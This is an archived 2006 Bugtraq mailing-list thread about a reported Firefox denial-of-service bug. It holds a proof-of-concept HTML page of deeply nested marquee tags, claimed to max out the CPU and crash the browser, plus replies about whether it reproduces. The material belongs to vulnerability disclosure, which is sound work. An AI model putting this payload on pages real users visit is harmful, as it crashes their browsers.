bugtraq - RE: Fire fox dos exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <01f601c684ce$68820a40$9466a8c0@office.mrhill.com>
Date: Wed, 31 May 2006 18:22:25 +0200
From: "Andy" <andy@....uk.com>
To: "'Josh Zlatin-Amishav'" <josh@...s.co.il>, <co296@....com>
Cc: <bugtraq@...urityfocus.com>
Subject: RE: Fire fox dos exploit


Crashed my FF 1.5.0.3 straight away on a fully patched XP Pro Service Pack 2

Andy

-----Original Message-----
From: Josh Zlatin-Amishav [mailto:josh@...s.co.il] 
Sent: 31 May 2006 16:50
To: co296@....com
Cc: bugtraq@...urityfocus.com
Subject: Re: Fire fox dos exploit

On Tue, 30 May 2006, co296@....com wrote:

> I have found a problem which causes denial of service on fire fox browser

Can you give us some more details, like versions and platforms affected? I
was unable to 
recreate this flaw using firefox 1.5.dfsg+1.5.0 on Debian unstable.

--
  - Josh

>
> Creadit:to n00b for finding this bug..
>
> the problem lie's in the
>
> <marquee> html tag uses 100% cpu and crash's the browser..
>
> Following proof of concept available
>
> <html>
> <head>
> <title>Credit to n00b..</title>
> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
> </head>
>
> <body>
>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><mar
quee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee
><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma
rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marque
e><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><m
arquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu
ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><
marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marq
uee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></
marquee></marquee></marquee></marquee></marquee></marquee></marquee></marque
e></marquee></marquee></marquee></marquee></marquee></marquee></marquee></ma
rquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
</marquee></marquee></marquee></marquee></marquee></marquee></marquee></marq
 ue
>
e></marquee></marquee></marquee></marquee></marquee></marquee></marquee></ma
rquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
</marquee></marquee></marquee></marquee></marquee></marquee></marquee></marq
uee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
> </body>
> </html>
>
>